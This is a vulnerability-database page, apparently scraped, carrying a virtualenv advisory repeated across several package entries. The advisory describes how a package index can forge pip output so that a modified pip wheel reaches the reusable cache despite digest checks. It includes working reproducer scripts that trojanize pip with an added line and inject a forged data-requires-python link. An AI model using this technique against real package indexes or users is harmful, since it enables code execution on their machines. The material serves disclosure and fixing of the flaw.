"BIT-virtualenv-2026-113714",
"CVE-2026-113714"
]
}
BREW-TOX-CVE-2026-113714 (GHSA-494P-63J8-28P3)
Vulnerability from osv_homebrew – Published: 2026-10-26 09:10 – Updated: 2026-10-29 21:45 – Source websiteSummary
Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache.
Anthropic's OSS Scanner reported this as ANT-2026-ST00DRO3 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Download selection and promotion into the reusable wheel cache.
Attacker-controlled input
A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison.
Affected code
The relevant 21.14.8 source is in wheel download and digest check.
Mechanism
download_wheel() tells pip to write directly into the reusable wheel/house cache. It then selects a path to hash
from the first Saved line in pip's stdout, rather than from the file pip actually placed there. A package index can
inject such a line through a discarded link's data-requires-python attribute. A separate failure exists without the
forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain
there. Later wheel selection does not hash the cached file again.
Reproduction and evidence
The scanner used a local index configured in pip.conf, with PyPI digest comparison still enabled. In the control case
it served a modified pip wheel alone. virtualenv --upgrade-embed-wheels refused the mismatch, and a subsequent
environment used the bundled pip. In the attack case the index added a link whose data-requires-python contained a
forged Saved <path> line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded
the modified wheel in its update log, and a later environment's pip --version ran a line added by the index. The
reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.
The report also shows that a refused wheel can replace a previously accepted file of the same name in wheel/house,
leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The
gap follows the digest check added in #3251, first released in 21.7.12.
PR #3430 downloads to a private temporary directory, verifies the actual
archive, and promotes it only after acceptance.
Attack sequence
sequenceDiagram
participant I as Configured index
participant P as pip download
participant C as wheel/house cache
participant V as virtualenv digest check
participant N as New environment
I->>P: modified wheel and forged Saved line
P->>C: write modified wheel directly
P-->>V: stdout names genuine bundled wheel
V->>V: hash genuine wheel and accept
V->>C: record modified wheel for reuse
C->>N: seed modified pip without rehash
Note over P,C: Even a rejected wheel can remain in the cache
Reproducer files
The following files are from the scanner report for ANT-2026-ST00DRO3. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import atexit
import hashlib
import json
import os
import shutil
import subprocess
import sys
from pathlib import Path
companions = Path("/tmp/repro.d")
work = Path("/tmp/forged-saved-line")
home = work / "home"
app_data = home / ".cache" / "virtualenv"
this_python = f"{sys.version_info.major}.{sys.version_info.minor}" # the target; each Python has its own update log
update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json"
virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"]
as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True}
added_code_prints = "code added by the index" # the line index_serves_modified_pip.py adds to pip/__init__.py
def user_upgrades_seed_wheels_and_creates_env():
# each case starts from an empty app-data
shutil.rmtree(app_data, ignore_errors=True)
shutil.rmtree(home / "env", ignore_errors=True)
upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user)
# --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach
subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True)
pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], **as_user, check=True)
# one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0
refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None)
logged = []
if update_log_of_pip.exists(): # a failed update writes no log
logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]]
return refusal, logged, pip_version.stdout.splitlines()
# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it
shutil.rmtree(work, ignore_errors=True)
(home / ".config" / "pip").mkdir(parents=True)
shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf")
subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True)
index_server = subprocess.Popen(
[sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"],
stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL,
text=True,
)
atexit.register(index_server.kill)
assert index_server.stdout.readline().startswith("Serving HTTP"), "index server did not start" # printed once bound
# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it
subprocess.run([sys.executable, companions / "index_serves_modified_pip.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
print("CONTROL modified pip: --upgrade-embed-wheels refused with:", refusal)
print("CONTROL modified pip: update log of pip lists", logged)
print("CONTROL modified pip: pip --version in the new env prints", pip_says)
control_ran_added_code = added_code_prints in "\n".join(pip_says)
# attack: the index also adds one link, whose data-requires-python puts a "Saved <path>" line into pip's output
subprocess.run([sys.executable, companions / "index_forges_saved_line.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
stored_wheel = app_data / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl"
stored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()
pypi_sha256 = json.loads((work / "pypi" / "pip.json").read_text())["releases"]["26.0.1"][0]["digests"]["sha256"]
print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal)
print("OBSERVED + forged line: update log of pip lists", logged)
print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", stored_sha256)
print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypi_sha256)
print("OBSERVED + forged line: pip --version in the new env prints", pip_says)
attack_ran_added_code = added_code_prints in "\n".join(pip_says)
# check: the same modified wheel, refused without the forged line, is seeded with it
print("BUG" if attack_ran_added_code and not control_ran_added_code else "OK")
repro.d/index_forges_saved_line.py
"""Attacker, as the operator of the index the user's pip.conf names: make pip print a "Saved <path>" line of its choice.
usage: index_forges_saved_line.py <index_dir>
Adds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.
"""
import shutil
import sys
from pathlib import Path
# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9,
# at the same path for every user of this image
GENUINE_WHEEL_ON_USERS_DISK = "/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl"
index_dir = Path(sys.argv[1])
# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with
# "Discarding <link> (requires-python:<attribute>): ... has inconsistent version" on stdout
shutil.copy(index_dir / "files" / "pip-26.2.1-py3-none-any.whl", index_dir / "files" / "pip-100.0-py3-none-any.whl")
# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; is a line feed
with (index_dir / "simple" / "pip" / "index.html").open("a") as page:
page.write(
'<a href="/files/pip-100.0-py3-none-any.whl"'
f' data-requires-python=" Saved {GENUINE_WHEEL_ON_USERS_DISK} ">pip-100.0-py3-none-any.whl</a>\n'
)
repro.d/index_serves_modified_pip.py
"""Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.
usage: index_serves_modified_pip.py <index_dir>
pip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,
virtualenv's comparison with PyPI's SHA-256 catches this.
"""
import hashlib
import io
import sys
import zipfile
from pathlib import Path
ADDED_CODE = b'\nprint("code added by the index runs as uid", __import__("os").getuid())\n'
index_dir = Path(sys.argv[1])
wheel = index_dir / "files" / "pip-26.0.1-py3-none-any.whl"
genuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))
with zipfile.ZipFile(wheel, "w") as modified:
for entry in genuine.infolist():
content = genuine.read(entry)
if entry.filename == "pip/__init__.py":
content += ADDED_CODE
modified.writestr(entry, content)
# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's
# download folder first, and pip replaces a file of the same name there only when the link's digest differs
sha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()
(index_dir / "simple" / "pip" / "index.html").write_text(
f'<!DOCTYPE html>\n<a href="/files/{wheel.name}#sha256={sha256}">{wheel.name}</a>\n'
)
repro.d/pip.conf
[global]
index-url = http://127.0.0.1:8099/simple
repro.d/pypi_json_and_mirror.py
"""Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.
usage: pypi_json_and_mirror.py <pypi_dir> <index_dir>
The wheels bundled with virtualenv are genuine PyPI files. <pypi_dir>/<project>.json is what
https://pypi.org/pypi/<project>/json answers for them, with the digests of virtualenv's BUNDLE_SHA256 table.
<index_dir> is a PEP 503 tree (simple/<project>/index.html, files/) that offers exactly these files.
"""
import json
import shutil
import sys
import zipfile
from email.parser import HeaderParser
from html import escape
from pathlib import Path
from virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256
pypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])
pypi_dir.mkdir()
(index_dir / "files").mkdir(parents=True)
for project in ("pip", "setuptools"):
releases, links = {}, []
for filename, sha256 in BUNDLE_SHA256.items():
name, version = filename.split("-")[:2]
if name != project:
continue
shutil.copy(BUNDLE_FOLDER / filename, index_dir / "files")
releases[version] = [{"filename": filename, "digests": {"sha256": sha256}, "upload_time": "2026-01-01T00:00:00"}]
with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:
metadata = HeaderParser().parsestr(wheel.read(f"{name}-{version}.dist-info/METADATA").decode())
requires_python = escape(metadata["Requires-Python"])
links.append(f'<a href="/files/{filename}#sha256={sha256}" data-requires-python="{requires_python}">{filename}</a>')
(pypi_dir / f"{project}.json").write_text(json.dumps({"releases": releases}))
(index_dir / "simple" / project).mkdir(parents=True)
(index_dir / "simple" / project / "index.html").write_text("<!DOCTYPE html>\n" + "\n".join(links) + "\n")
repro.d/virtualenv_with_local_pypi_json.py
"""Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.
usage: virtualenv_with_local_pypi_json.py <pypi_dir> <virtualenv arguments...>
Only the request for https://pypi.org/pypi/<project>/json is replaced: it is answered from <pypi_dir>/<project>.json.
pip, the index pip talks to and the rest of virtualenv are the real thing.
"""
import sys
from pathlib import Path
from unittest import mock
from virtualenv.__main__ import run_with_catch
pypi_dir = Path(sys.argv[1])
def pypi_json_api(url, context):
assert url.startswith("https://pypi.org/pypi/") and context is None, url
project = url.split("/")[4]
return (pypi_dir / f"{project}.json").open("rb")
with mock.patch("virtualenv.seed.wheels.periodic_update.urlopen", pypi_json_api):
run_with_catch(sys.argv[2:])
Impact
A file rejected during download verification can remain available for later cache selection. Exploitation requires additional control over the downloaded data or archive selection; this finding alone does not bypass TLS.
Severity: low.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix downloads into a private temporary directory and verifies archive identity, requested version, digest where applicable, and Python compatibility before promoting a wheel into the reusable cache.
Fix: PR #3430.
Known mitigation
After a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing unexpected download failures.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "virtualenv",
"resource_purl": "pkg:pypi/virtualenv@21.15.1",
"upstream_fixed_in": "21.14.9"
},
"package": {
"ecosystem": "Homebrew",
"name": "tox",
"purl": "pkg:brew/tox"
},
"ranges": [
{
"events": [
{
"introduced": "4.62.0"
},
{
"fixed": "4.67.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/virtualenv@21.15.1",
"name": "virtualenv",
"resource": "virtualenv",
"strategy": "registry",
"subject_version": "21.15.1"
}
]
},
"details": "## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip\u0027s textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip\u0027s stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link\u0027s `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved \u003cpath\u003e` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment\u0027s `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant I as Configured index\n participant P as pip download\n participant C as wheel/house cache\n participant V as virtualenv digest check\n participant N as New environment\n I-\u003e\u003eP: modified wheel and forged Saved line\n P-\u003e\u003eC: write modified wheel directly\n P--\u003e\u003eV: stdout names genuine bundled wheel\n V-\u003e\u003eV: hash genuine wheel and accept\n V-\u003e\u003eC: record modified wheel for reuse\n C-\u003e\u003eN: seed modified pip without rehash\n Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\" # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\" # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n # each case starts from an empty app-data\n shutil.rmtree(app_data, ignore_errors=True)\n shutil.rmtree(home / \"env\", ignore_errors=True)\n upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n logged = []\n if update_log_of_pip.exists(): # a failed update writes no log\n logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI\u0027s answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\" # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv\u0027s comparison with PyPI\u0027s SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL modified pip: update log of pip lists\", logged)\nprint(\"CONTROL modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \u003cpath\u003e\" line into pip\u0027s output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: make pip print a \"Saved \u003cpath\u003e\" line of its choice.\n\nusage: index_forges_saved_line.py \u003cindex_dir\u003e\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user\u0027s disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding \u003clink\u003e (requires-python:\u003cattribute\u003e): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; \u0026#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n page.write(\n \u0027\u003ca href=\"/files/pip-100.0-py3-none-any.whl\"\u0027\n f\u0027 data-requires-python=\"\u0026#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}\u0026#10;\"\u003epip-100.0-py3-none-any.whl\u003c/a\u003e\\n\u0027\n )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \u003cindex_dir\u003e\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv\u0027s comparison with PyPI\u0027s SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b\u0027\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n\u0027\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n for entry in genuine.infolist():\n content = genuine.read(entry)\n if entry.filename == \"pip/__init__.py\":\n content += ADDED_CODE\n modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip\u0027s\n# download folder first, and pip replaces a file of the same name there only when the link\u0027s digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n f\u0027\u003c!DOCTYPE html\u003e\\n\u003ca href=\"/files/{wheel.name}#sha256={sha256}\"\u003e{wheel.name}\u003c/a\u003e\\n\u0027\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI\u0027s JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \u003cpypi_dir\u003e \u003cindex_dir\u003e\n\nThe wheels bundled with virtualenv are genuine PyPI files. \u003cpypi_dir\u003e/\u003cproject\u003e.json is what\nhttps://pypi.org/pypi/\u003cproject\u003e/json answers for them, with the digests of virtualenv\u0027s BUNDLE_SHA256 table.\n\u003cindex_dir\u003e is a PEP 503 tree (simple/\u003cproject\u003e/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n releases, links = {}, []\n for filename, sha256 in BUNDLE_SHA256.items():\n name, version = filename.split(\"-\")[:2]\n if name != project:\n continue\n shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n requires_python = escape(metadata[\"Requires-Python\"])\n links.append(f\u0027\u003ca href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\"\u003e{filename}\u003c/a\u003e\u0027)\n (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n (index_dir / \"simple\" / project).mkdir(parents=True)\n (index_dir / \"simple\" / project / \"index.html\").write_text(\"\u003c!DOCTYPE html\u003e\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI\u0027s JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \u003cpypi_dir\u003e \u003cvirtualenv arguments...\u003e\n\nOnly the request for https://pypi.org/pypi/\u003cproject\u003e/json is replaced: it is answered from \u003cpypi_dir\u003e/\u003cproject\u003e.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n project = url.split(\"/\")[4]\n return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-ST00DRO3.",
"id": "BREW-tox-CVE-2026-113714",
"modified": "2026-10-29T21:45:01Z",
"published": "2026-10-26T09:10:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3430"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "virtualenv: Downloaded wheel selection and caching precede verification",
"upstream": [
"GHSA-494p-63j8-28p3",
"CVE-2026-113714",
"BIT-virtualenv-2026-113714"
]
}
BREW-VIRTUALENVWRAPPER-C… (GHSA-494P-63J8-28P3)
Vulnerability from osv_homebrew – Published: 2026-10-26 10:12 – Updated: 2026-10-29 22:51 – Source websiteSummary
Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache.
Anthropic's OSS Scanner reported this as ANT-2026-ST00DRO3 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Download selection and promotion into the reusable wheel cache.
Attacker-controlled input
A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison.
Affected code
The relevant 21.14.8 source is in wheel download and digest check.
Mechanism
download_wheel() tells pip to write directly into the reusable wheel/house cache. It then selects a path to hash
from the first Saved line in pip's stdout, rather than from the file pip actually placed there. A package index can
inject such a line through a discarded link's data-requires-python attribute. A separate failure exists without the
forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain
there. Later wheel selection does not hash the cached file again.
Reproduction and evidence
The scanner used a local index configured in pip.conf, with PyPI digest comparison still enabled. In the control case
it served a modified pip wheel alone. virtualenv --upgrade-embed-wheels refused the mismatch, and a subsequent
environment used the bundled pip. In the attack case the index added a link whose data-requires-python contained a
forged Saved <path> line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded
the modified wheel in its update log, and a later environment's pip --version ran a line added by the index. The
reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.
The report also shows that a refused wheel can replace a previously accepted file of the same name in wheel/house,
leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The
gap follows the digest check added in #3251, first released in 21.7.12.
PR #3430 downloads to a private temporary directory, verifies the actual
archive, and promotes it only after acceptance.
Attack sequence
sequenceDiagram
participant I as Configured index
participant P as pip download
participant C as wheel/house cache
participant V as virtualenv digest check
participant N as New environment
I->>P: modified wheel and forged Saved line
P->>C: write modified wheel directly
P-->>V: stdout names genuine bundled wheel
V->>V: hash genuine wheel and accept
V->>C: record modified wheel for reuse
C->>N: seed modified pip without rehash
Note over P,C: Even a rejected wheel can remain in the cache
Reproducer files
The following files are from the scanner report for ANT-2026-ST00DRO3. They were tested against commit a857a7823c73
